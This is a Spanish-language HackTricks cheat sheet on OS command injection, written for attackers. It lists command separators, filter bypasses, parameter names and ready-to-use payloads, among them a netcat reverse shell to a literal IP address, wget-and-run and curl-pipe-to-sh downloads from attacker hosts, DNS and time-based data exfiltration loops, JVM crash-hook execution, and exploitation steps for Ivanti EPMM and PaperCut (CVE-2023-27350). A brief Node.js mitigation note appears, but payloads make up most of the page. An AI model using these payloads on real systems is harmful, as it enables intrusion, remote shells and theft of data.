Command Injection

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es command Injection?

Una command injection permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse totalmente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.

Contexto

Dependiendo de dónde se esté inyectando tu entrada puede que necesites terminar el contexto entrecomillado (usando " o ') antes de los comandos.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limitación Bypasses

Si intentas ejecutar comandos arbitrarios dentro de una máquina linux te interesará leer sobre estos Bypasses:

Bypass Linux Restrictions

Ejemplos

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Evaluación aritmética de Bash en scripts estilo RewriteMap/CGI

RewriteMap helpers escritos en bash a veces colocan params de consulta en globals y más tarde los comparan en contextos aritméticos ([[ $a -gt $b ]], $((...)), let). La expansión aritmética vuelve a tokenizar el contenido, por lo que los nombres de variables o referencias de array controladas por un atacante se expanden dos veces y pueden ejecutarse.

Patrón observado en los RewriteMap helpers de Ivanti EPMM:

  1. Los parámetros se asignan a variables globales (stgStartTime, htheValue).
  2. Comprobación posterior:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Envía st=theValue para que gStartTime apunte a la cadena theValue.
  2. Envía h=gPath['sleep 5'] para que theValue contenga un índice de array; durante la comprobación aritmética se ejecuta sleep 5 (sustituir por un payload real).

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Notas:

  • Busca el mismo helper bajo otros prefijos (por ejemplo, /mifs/c/aftstore/fob/).
  • Los contextos aritméticos tratan tokens desconocidos como identificadores de variable/array, por lo que esto elude filtros simples de metacaracteres.

Parámetros

Aquí están los 25 principales parámetros que podrían ser vulnerables a code injection y vulnerabilidades RCE similares (de link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Extrayendo data: char por char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Basado en la herramienta de https://github.com/HoLyVieR/dnsbin, también alojada en dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Herramientas en línea para comprobar DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Al auditar back-ends de JavaScript/TypeScript, a menudo te encontrarás con la API child_process de Node.js.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() inicia un shell (/bin/sh -c), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, ;, &&, |, $(), …) dará lugar a command injection cuando la entrada del usuario se concatene en la cadena.

Mitigación: usa execFile() (o spawn() sin la opción shell) y proporciona cada argumento como un elemento separado del array para que no intervenga el shell:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Caso real: Synology Photos ≤ 1.7.0-0794 era explotable a través de un evento WebSocket no autenticado que colocaba datos controlados por el atacante en id_user, que luego se incrustaban en una llamada exec(), logrando RCE (Pwn2Own Ireland 2024).

Inyección de argumentos/opciones vía guion inicial (argv, no shell metacharacters)

No todas las inyecciones requieren metacaracteres de shell. Si la aplicación pasa cadenas no confiables como argumentos a una utilidad del sistema (incluso usando execve/execFile y sin shell), muchos programas todavía interpretarán cualquier argumento que comience con - o -- como una opción. Esto permite a un atacante cambiar modos, modificar rutas de salida o activar comportamientos peligrosos sin necesidad de entrar en un shell.

Lugares típicos donde aparece:

  • Interfaces web embebidas/manejadores CGI que construyen comandos como ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Enrutadores CGI centralizados (p. ej., /cgi-bin/<something>.cgi con un parámetro selector como topicurl=<handler>) donde múltiples handlers reutilizan el mismo validador débil.

Qué probar:

  • Proporcionar valores que comiencen con -/-- para que sean consumidos como flags por la herramienta aguas abajo.
  • Abusar de flags que cambian el comportamiento o escriben archivos, por ejemplo:
    • ping: -f/-c 100000 para estresar el dispositivo (DoS)
    • curl: -o /tmp/x para escribir rutas arbitrarias, -K <url> para cargar configuración controlada por el atacante
    • tcpdump: -G 1 -W 1 -z /path/script.sh para lograr ejecución post-rotación en wrappers inseguros
  • Si el programa soporta -- (end-of-options), intenta eludir mitigaciones ingenuas que anteponen -- en el lugar equivocado.

Formas genéricas de PoC contra despachadores CGI centralizados:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Callbacks de diagnóstico de JVM para ejecución garantizada

Cualquier mecanismo que te permita inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) puede convertirse en un RCE fiable sin tocar el bytecode de la aplicación:

  1. Forzar un crash determinista reduciendo metaspace o heap: -XX:MaxMetaspaceSize=16m (or a tiny -Xmx). Esto garantiza un OutOfMemoryError incluso durante el bootstrap temprano.
  2. Adjuntar un hook de error: -XX:OnOutOfMemoryError="<cmd>" or -XX:OnError="<cmd>" ejecuta un comando arbitrario del SO cada vez que la JVM aborta.
  3. Opcionalmente añade -XX:+CrashOnOutOfMemoryError para evitar intentos de recuperación y mantener el payload de un solo uso.

Ejemplos de payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Porque estos diagnósticos los analiza el propio JVM, no se requieren metacaracteres de shell y el comando se ejecuta con el mismo nivel de integridad que el launcher. Las vulnerabilidades de Desktop IPC que reenvían flags de JVM proporcionados por el usuario (ver Localhost WebSocket abuse) se traducen por tanto directamente en ejecución de comandos en el sistema operativo.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) exponen /app?service=page/SetupCompleted; al navegar allí y hacer clic en Login se devuelve un JSESSIONID válido sin credenciales (bypass de autenticación en el flujo de setup).
  • En Options → Config Editor, establece print-and-device.script.enabled=Y y print.script.sandboxed=N para activar printer scripting y deshabilitar el sandbox.
  • En la pestaña Scripting de la impresora, habilita el script y deja printJobHook definido para evitar errores de validación, pero coloca el payload fuera de la función para que se ejecute inmediatamente al hacer clic en Apply (no print job needed):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Cambia el callback por un reverse shell; si la UI/PoC no puede manejar pipes/redirects, prepara un payload con un comando y ejecútalo con una segunda petición.
  • El CVE-2023-27350.py de Horizon3 automatiza el auth bypass, config flips, command execution, and rollback—ejecútalo a través de un proxy upstream (p. ej., proxychains → Squid) cuando el servicio solo sea accesible internamente.

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks